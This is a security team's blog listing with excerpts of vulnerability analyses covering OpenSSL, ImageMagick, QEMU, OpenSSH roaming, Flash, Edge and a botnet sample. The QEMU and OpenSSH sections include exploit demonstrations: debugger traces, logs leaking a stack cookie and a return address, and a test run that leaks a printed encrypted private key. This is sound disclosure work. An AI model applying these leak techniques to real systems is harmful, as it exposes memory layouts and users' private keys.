by au2o3t @ 360信息安全部-云安全团队(Qihoo360 Cloud Security Team)   一. 前言 最近360信息安全部的战友们够辛苦的,连夜修复漏洞,外部漏洞(ImageMagick)太凶残了,以致于连OpenSSL的洞都没有泛起多少波澜。 目前为外部企业服务的360天眼团队和360安服团队还在一线为企业救火。 回到这个OpenSSL的漏洞上,我们关注了下OpenSSL在5月份公布的 CVE-2016-2107。 然并卵,CVE-2016-2107却是个现实几乎无法利用的漏洞。 hf! 二.技术分析 攻击者需要(苛刻的): 1、能控制受害者进行多次通信连接 2、能在受害者明文头部添加数据(加密前) 3、能修改受害者明文数据(加密前) 4、能截断和修改受害者发送的密文 5、能获得服务器返回的数据 (有这些能力直接读到明文好不好) 相关攻击测试程序截图: 服务器端 : 服务器端(当服务器那边出:data length too long 那行就是成功测出1个字节 ) 攻击原理: openssl 开启 AES-NI 后,对 CBC 模式填充检测逻辑存在漏洞,且握手未完成时服务器报错信息以明文返回, 令攻击者可利用(根据服务器不同响应)来探测特定位置的字节 阅读全文 [...]
by cyg07 @ 360信息安全部云安全团队(Qihoo360 Cloud Security Team) 一. 写在前面 在奇虎360这个互联网公司里,每一个突袭而来的漏洞,也意味360信息安全部将对此进行一场肉搏战,现在已经在午夜。对于CVE-2016-3714这个黑魔法漏洞,虽说看着面上也能看明白这个东西怎么回事,有时候还是走进源码会比较清晰一点,所以这稿子的内容大致是笔者的一个调试过程。 每次修漏洞的时候,还是会想起老领导刘小雄说过的24小时修复原则,估计这个原则会长期伴随着个人在安全道路上。 Hf! 二. 技术分析 “delegate” 委托或者说是代理模式吧,想起了那年拿着GoF13招不停的练,回头想想好像也就用过一次代理模式。 CVE-2016-3714所在的问题文件是magick/delegat.c,不知道为啥总觉得它的设计很不优雅,姑且作点事后的调侃吧,因为你所看到这篇文章也不优雅 阅读全文 [...]
By Ling Liu of the Cloud Security Team, Qihoo360 Information Security Department Overview Recently QEMU disclosed an information disclosure vulnerability (CVE-2016-2857) in function net_checksum_calculate(). It was found by Ling Liu of 360Cloud Security Team, Qihoo360 Information Security Department. According to our analysis, we found that the vuln can be used to leak the base address of QEMU and stack cookie, even the stack address range by utilizing this vulnerability. Although this vulnerability only can be triggered by some network cards that used infrequently such as ‘cadence_gem’, we still think that it is worth to make a deeper analysis. Have fun! The Bug The vulnerability was found in function net_checksum_calculate(), and it is a read-out-of-bounds flaw. This function is used to calculate the checksum of an IP header. If the packet length in data[16:17] was written by a malicious length, it may cause a denial of service or information disclosed, because the function net_checksum_calculate() will bring the calculated checksum back to the packet. In the end, we can restore the sensitive memory information from the packet. The patch could be found in https://bugzilla.redhat.com/show_bug.cgi?id=1296567 Denial Of Service The function can be called from many driver of network card or function, as follows. gem_transmit() in Cadence_gem.c process_tx_fcb() in Rings.c work_around_broken_dhclient() in Virtio-net.c net_tx_packets() in Xen_nic.c Next, 1st Start with ‘cadence_gem’ network card and enable loopback mode; 2nd Send packet with “data[16:17] = 0xfff”; Now you can see the variable plen exceed the packet’s real length in gdb. --------------------------- Breakpoint 2, gem_transmit (s=0x7ffff8db56b0) at hw/net/cadence_gem.c:901 901 net_checksum_calculate(tx_packet, total_bytes); (gdb) p total_bytes $20 = 1500 (gdb) s net_checksum_calculate (data=0x7fffe53c4980 "", length=1500) at net/checksum.c:58 58 { (gdb) n 62 if ((data[14] & 0xf0) != 0x40) (gdb) 64 hlen = (data[14] & 0x0f) * 4; (gdb) 65 plen = (data[16] << 8 | data[17]) - hlen; (gdb) n 66 proto = data[23]; (gdb) p/x plen $21 = 0xffeb …… 84 csum = net_checksum_tcpudp(plen, proto, data+14+12, data+14+hlen); (gdb) s net_checksum_tcpudp (length=65515, proto=6, addrs=0x7fffe53c499a '\314' , , buf=0x7fffe53c49a2 '\314' , ) at net/checksum.c:48 …… 85 data[14+hlen+csum_offset] = csum >> 8; (gdb) p/x csum $27 = 0xbc1d (gdb) n 86 data[14+hlen+csum_offset+1] = csum & 0xff; At the same time you can see the checksum was wrote back to the packet in Tcpdump. Exploitation When function net_checksum_calculate() be called by gem_transmi(), the parameter ‘data’ is the variable ‘tx_packet[2048] ’ defined in gem_transmi() function. So you can get return address or stack cookie through this vulnerability. If we send two packet with different packet length written in data[16:17], for example N and N+1. Then, from these two checksums, we can calculate what the extra one byte actually is. In this way, we can get the memory after tx_packet[2048]. Stack cookie and address will be leaked after lots of tries. ---end--- 0C 02 00 00 00 00 00 00 7C 09 95 4C 75 0F FC D3 04 00 00 00 00 00 00 00 00 05 DC F8 FF 7F 00 00 0C 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 DC F8 FF 7F 00 00 stack cookie=d3fc0f754c95097c return address=dddddddddddddddd sendlength=2048, fakelength=2121, checksum=9e40, known_bytes=2120 guessed. remote[2120] is A8 sendlength=2048, fakelength=2122, checksum=9d98, known_bytes=2121 guessed. remote[2121] is A7 sendlength=2048, fakelength=2123, checksum=cc96, known_bytes=2122 guessed. remote[2122] is D1 sendlength=2048, fakelength=2124, checksum=cb9e, known_bytes=2123 guessed. remote[2123] is F7 sendlength=2048, fakelength=2125, checksum=cc9c, known_bytes=2124 guessed. remote[2124] is FF sendlength=2048, fakelength=2126, checksum=cc1c, known_bytes=2125 guessed. remote[2125] is 7F sendlength=2048, fakelength=2127, checksum=cc1b, known_bytes=2126 guessed. remote[2126] is 00 sendlength=2048, fakelength=2128, checksum=cc1a, known_bytes=2127 guessed. remote[2127] is 00 ---end--- 0C 02 00 00 00 00 00 00 7C 09 95 4C 75 0F FC D3 04 00 00 00 00 00 00 00 00 05 DC F8 FF 7F 00 00 0C 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 DC F8 FF 7F 00 00 A8 A7 D1 F7 FF 7F 00 00 stack cookie=d3fc0f754c95097c return address=7ffff7d1a7a8 sendlength=2048, fakelength=2129, checksum=cc19, known_bytes=2128 guessed. remote[2128] is 00 sendlength=2048, fakelength=2130, checksum=cbac, known_bytes=2129 guessed. remote[2129] is 6C sendlength=2048, fakelength=2131, checksum=74ab, known_bytes=2130 sendlength=2048, fakelength=2131, checksum=74af, known_bytes=2130 checksum error, memory changed! ---end--- 0C 02 00 00 00 00 00 00 7C 09 95 4C 75 0F FC D3 04 00 00 00 00 00 00 00 00 05 DC F8 FF 7F 00 00 0C 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 DC F8 FF 7F 00 00 A8 A7 D1 F7 FF 7F 00 00 00 6C stack cookie=d3fc0f754c95097c return address=7ffff7d1a7a8 Summary Just as John Lambert said, on vulns: You can argue over exposure, difficulty, and likelihood. Security researchers write exploits because they like the truth. Good luck! 阅读全文 [...]
by 360信息安全部- au2o3t@360 CloudSec Team 1. 引子 本来最近和360 Nirvan Team的DQ430愉快的参加某加密厂商的年度大会,结果openssl也出来碰热闹,也许真是为了DH兄弟送大礼,苦了我们这些安全运维的。 感谢Shawn的指点! hf!   2. 细节 360在内部信息安全实践历程中,“360信息安全部”逐步秉承最佳安全实践,在https等ssl领域逐渐做出了明显的变化。 比如重要系统中禁止不安全的加密套件使用,来减少ssl的攻击面。 我们在今天的内部运维修复中发现了个有趣的现象或者说尝试,我们想去确定禁止不安全的加密套件会对今天的两个高危漏洞有什么影响。 CVE-2016-0800 CVE-2016-0703 0800漏洞官方已经描述了如果是cipher none的话,能保证是不受影响的,或者说这是一个缓解措施。 但是0703就不一样了,我们花了几个小时尝试去证明如果cipher none的话确实也是不受影响的 阅读全文 [...]
by: au2o3t @360 Cloud Security Team 0x01 前言 2016年1月28日,OpenSSL官方发布了编号为 CVE-2016-0701 的漏洞。该漏洞发生在OpenSSL 1.0.2 版本中(OpenSSL 1.0.2f和以后版本不受影响),在使用DH算法时对不同客户端使用了相同私钥和不安全的大素数,导致攻击者可以通过降阶的攻击方式(或者是秘钥恢复估计)来获取服务器端的私钥,从而解密tls。 360云安全团队的au2o3t对官网和发现者Antonio Sanso提供的实现存在疑惑,并提供了一份我们认为是正确的漏洞分析(欢迎反馈)。 hf 0x02 分析 ^领导说了必须得有图^ 看了CVE-2016-0701 发现者Antonio Sanso的博文(参考1), 对其中的攻击步骤“calculate yb = g*xa (mod p) * B”和“yb^xa * B^xa (mod p)”的由来百思而始终不得其解, 并且一直对文档中以及openssl官方中所描述需要“多次握手”颇有疑惑(参考2)。   经过一番研究,总算实现了攻击并找到了理论证明 阅读全文 [...]
by: au2o3t @360 Cloud Security Team 0x01前言 想起以前写了很多广告序,估计也没什么人看。后来看到“天眼APT Team”和“360安服团队”的人针对黑产只写了句“人在做,天在看”,有点感悟。赶紧把sb类型的广告删掉,不能低估各位看客的智商。 安全本来就是攻防,没什么好讲的,一群追逐影子的人,对于漏洞的验证只是满足猎奇心理罢了。 写完后还要去楼下继续围观 360 Unicorn Team在360互联网训练营上的超级精彩演讲。 hf! 0x02技术分析 不b话,上图。                                   环境: 系统版本: Linux version 3.10.0-229.11.1.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Thu Aug 6 01:06:18 UTC 2015   SSH版本: OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013     以下结论为上述环境中实现 过程: ssh建立连接时会读入证书,其内存通过buffer.c文件中的buffer_init(),buffer_free()函数管理 正常情况使用完毕会将内存内容清零 但若证书内容大于4k,ssh会调用realloc重新分配更多内存,此时不会将之前的内存清零,由此证书头4k内容会残留在内存中   接着,若恶意服务器应答roaming,则协议好roaming id,cookie等以及一个服务端可控的偏移值 offset(实验中我设置此值为 4096 - 663430,应客户端默认发送缓冲长度为663430) 同时响应一个<=4k的长度s_len,客户端会分配一块长度为s_len的“roaming_mem”,内容即为未清零的证书前4k残留   此时恶意服务器断开连接,客户端用户可选择恢复连接 则客户端会将发送偏移(ofs1)设置为服务端送过来的 offset 加本机默认发送缓冲长度 663430 ofs2即是s_len长度4096 如此,客户端会发送 roaming_mem + ofs1 - ofs2,长度 ofs2 的内容到服务端 此时ofs1-ofs2恰好等于0,也就相当于发送 roaming_mem 为起始地址,ofs2=4096长度的内容,刚好就是证书4k残留   实践: (证书内容本身不足4k,为方便实验,手工在证书末尾添加了若干"\n"作为补位) [xxx@test openssh-6.4p1]$ ll /home/xxx/.ssh/id_rsa -rw------- 1 xxx xxx 5169 Jan 16 11:58 /home/xxx/.ssh/id_rsa [xxx@test openssh-6.4p1]$ strings /home/xxx/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42 45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5 G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+ b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I 1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv 4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb 6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4 GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1 -----END RSA PRIVATE KEY----- [xxx@test openssh-6.4p1]# /home/xxx/openssh-6.4p1/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key [xxx@test openssh-6.4p1]$ ./ssh -p222 127.0.0.1 Enter passphrase for key '/home/xxx/.ssh/id_rsa': xxx@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] [63]+  Stopped                 ./ssh -p222 127.0.0.1 [xxx@test openssh-6.4p1]$ sudo -i [sudo] password for xxx: [root@test ~]# strings /home/xxx/key -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,3C261314BCFFF0379DB2CE2E14F2CD42 45Tdi0y20+qovA5xbv957Ip8kwYqc48cjVcgSY4I7x/TDfUe9pziuGYJN1qPwfBJ rh97z/yRPxGmMHxg+30cZ0tnGuRpKkCs/7fd2dSn19JxXS9+kxsZ2huVKgKigeyC eu8Lb79Zmynhs1J/roqu2nlF6spCUD+dkmh8AldEw6eDYequv9iFSjVNMIcc9vXw sh+7XfxJDS+A55X2yRJ6lOh10b+wxF/jf0fCaTsDtgHovoOUR/M6/TT56v5h/Nt5 G5p7Cjfe49OIw6jLzYua7/2DGM2F/9cbVy27h+OS+cJEhsLF+ajz5Go4nMYuhRY+ b6+v9KPy8mjeliXU3uwNGiO2jEztnX2m9EF43P58fVpky27pqVGK62Pm9vk24c2X LxHTWw7eZipi7SNUNgsxKd8sxw26474DM0i6kiJNt9/OZxiVf3Sdu+R97+zeLBGI R39QUfnsNNIO67DTqvskHbs6reTm4XQYpofZ9dzCAqgYbqNl0U4ZmY37p28Vu7GM waHmT1c2jhpkZZBcRBsqskDywa7SfhR95Te1F+VR3XzxvW8xM4c4mhZ0oPV5ahFH Dy1Odg9bd0TxufdjHPofulQjx2Ir9HhpAVasycyj6YEpe41COcxrTqU5uMjfLtoM vQn0mGfRxb4gripQ0ImgSXWAhcRAlBCtrUuqadiLVIyRfJM4aEiuHlH2oKWjry0I 1i57M29VfmmNUf68R/AGTypMBVUx6FhV5xOeg4gnbDMIDHQ0e6VK/ZaFwU+xZozy AHJIzbD27WADJZuj+izRrt+6uF1LgwlFyJkXUjDMUka/VNk3R+fkuB8kvf8ibJIP gq0Ipn/I9rrymohGVjQjdbPYECy2QMqS3sjhKZsaGcOWNMG2bHO+1HsOJI5cUIZy P7gOqtWO1V3bABHZJ9SK1yFj46S1dqbAic2We8dKUzRZIIx3hRPDDBp75IyLHnOI EHkv0nYWg3CFPBaBZucfuEBPBdEUcZfYqWDgN4NNB+I6hUDKJgEi1psEKkmqqxEv 4GKVyhiIqBadZjIlhJc+bqd3za0p0xrk2DjVBR3bBepASkO4YKrzNzrF7TlMllFq bhGrDsirw1fIP0NSDgREKdPFbRRshFdj9tRvWldq9QW9TFDPbJmzE7SC/56ggdvu KhTNxTPaEZnck7INzJm/gYQiaZ/aeyJ+G5rNixWAKhRxHsqlWTWf+fySqoTMKClw dj/pgZtt3oC5TdkO3DPC4/lyXSTa0uYGs1Alyr4FiOcyZ0CkE1ZQPyy1W1IKNlYW Umvhw2F+y7x+uo/7TRz6ahOeQV9kF5pkEhm0zLE2yYVRzmf08i+rQ+OqjFH76bEb 6bGjd4TCVUIBXv6OpMm8vy/oB/QBxxNRlH5VnAcT+r/gu0tEFdroBkJ5RZEDMC6c Vp5tZg+C7Cr2pfmoYBVnbIQ7CzlMvHpone9AFNnblL8Fcpwe/SSAcJP/p2TlFvg4 GCs3AYeWCOlRjroKOCjh0ikUcrXR85auPz6CG/hq3LVHyEZ1XfoLty4WOsTXwG5B xE63YLQgG8oHHJFgtu2W5yHodfPIG1LOeBO5eaqpMj0qSGFdyLXPtT0Dnyc8CPo1 -----END RSA PRIVATE KEY----- [root@test ~]#  ll /home/xxx/key -r-------- 1 root root 4096 Jan 16 11:59 /home/xxx/key 0x03写在最后 唯一要说明的是现实世界里pravite key文件超过4k大小是一个并不常见的问题 阅读全文 [...]
by 360信息安全部-王阳东(云安全研究员)   0x0. 引子 近期, 部署于360云平台( https://cloud.360.cn )的”360天眼威胁感知系统”发现系统告警某合作伙伴刚开通的云主机存在异常流量,联合排查后发现有恶意攻击者利用redis crackit漏洞入侵服务器并种植了名为unama的恶意程序。 360云安全研究员 --“王阳东”对此恶意程序进行较为深入的分析,此样本可能是billgates僵尸网络的一个变种。 0x1. billgates后门简介 billgates是一个近几年非常活跃的DDoS僵尸网络,此程序组成的僵尸网络遍及世界。网络中bot节点多是一些存在弱口令或软件漏洞的linux主机,攻击者利用ssh爆破、exploit、1day、2day等方式对大量IP进行攻击尝试获得服务器的控制权,并通过部署僵尸木马被控端壮大僵尸网络。僵尸网络根据服务端命令可以实现DDoS攻击、反弹shell等多种操作。 0x2. 样本分析 捕获到的样本文件大小为1223123字节,MD5值为EFF1CB4E98BCC8FBCBDCA671D4C4A050 阅读全文 [...]
背景介绍   在12月Adobe狂补78个漏洞的一周后,国外安全研究人员kafeine(@kafeine)爆出Angler Exploit Kit开始使用这个月修补的CVE-2015-8446漏洞进行攻击。我们第一时间跟进对该漏洞的原理和样本的利用方式进行了分析,在此与大家分享。     CVE-2015-8446 - 补了两次的漏洞     该漏洞可以描述为:Flash在解码mp3文件中的”ID3” tag中的编码数据时,没有能够正确检查所需的decode buffer的大小,从而导致了堆溢出。   有趣的是,这个漏洞已经修补过一次,当时的编号是CVE-2015-5560。当时这个漏洞也曾被公开利用: http://malware.dontneedcoffee.com/2015/08/cve-2015-flash-player-up-to-1800209-and.html   我们先来看一下有问题的解码逻辑: ID3 tag中可以包含各种tag。有些tag可以包含经过编码的文本: http://id3.org/id3v2.3.0 以TIT tag为例,当Flash处理到TIT tag时,会解码里面的文本 阅读全文 [...]
在11月6日的韩国PoC(Power of Community)安全会议上,笔者介绍了一些Windows 10 RTM中的一些新安全特性,以及他们在过去的TP版本中发生的安全问题,同时,笔者还重点介绍了一个Windows 10 Edge沙箱的逃逸漏洞,以及如何将其(结合一个RCE漏洞)组装成彻底攻破Edge浏览器的方法和演示,包括笔者同微软长达半年沟通最终促成他们决定修复漏洞的过程。 因为这个漏洞目前仍然是未修复的0day状态,在微软的要求下, 在PoC的演讲中笔者对关键部分做了一些mask,议题Slides也并未公开,因此这里也不会过多讨论这个漏洞。 笔者拿到Windows 10 TH2版本后,周末找了点时间在TH2上测试了下这个漏洞,发现这个版本上微软通过两个方式对这个漏洞做了一些缓和: 1. 将漏洞需要利用的broker接口更换了另一个, 这个很容易绕过,更换接口的CLSID和IID就可以继续调用了 2. 该漏洞利用需要结合针对某些站点的URL跳转漏洞,微软将笔者提交的Exploit中利用的某个特定站点从可用站点列表中删除了,当然,发现一个新的也很容易 阅读全文 [...]
作者:360 Marvel Team 团队负责人 唐青昊 (新浪微博:SunSky0101) 前言: 云计算目前已成为一种被大多数互联网公司接受的服务模式,它提供了定制化的硬件资源,应用,以及服务。作为实现云计算构想的最重要的技术基石,虚拟化系统提供了硬件资源的量化分配和灵活调度,保证云业务的顺利实施。因此,云业务的健康发展,离不开虚拟化系统的稳定运行。 360 Marvel Team将陆续公开一系列独立发现的针对虚拟化软件高危0day漏洞的分析文章,揭开虚拟化攻击技术的神秘面纱。在9月29日的360 ISC 2015大会上,该团队安全研究员唐青昊,将进行关于《云虚拟化系统的漏洞挖掘技术》议题的演讲,在该议题中将分享漏洞挖掘的核心技术。 本文为该系列的第二篇文章,将详细分析CVE-2015-5279 qemu网卡堆溢出漏洞的相关知识。关于第一篇文章针对CVE-2015-6815漏洞的分析,详见http://blogs.360.cn/blog/360marvelteam虚拟化漏洞第一弹-cve-2015-6815-漏洞分析/  阅读全文 [...]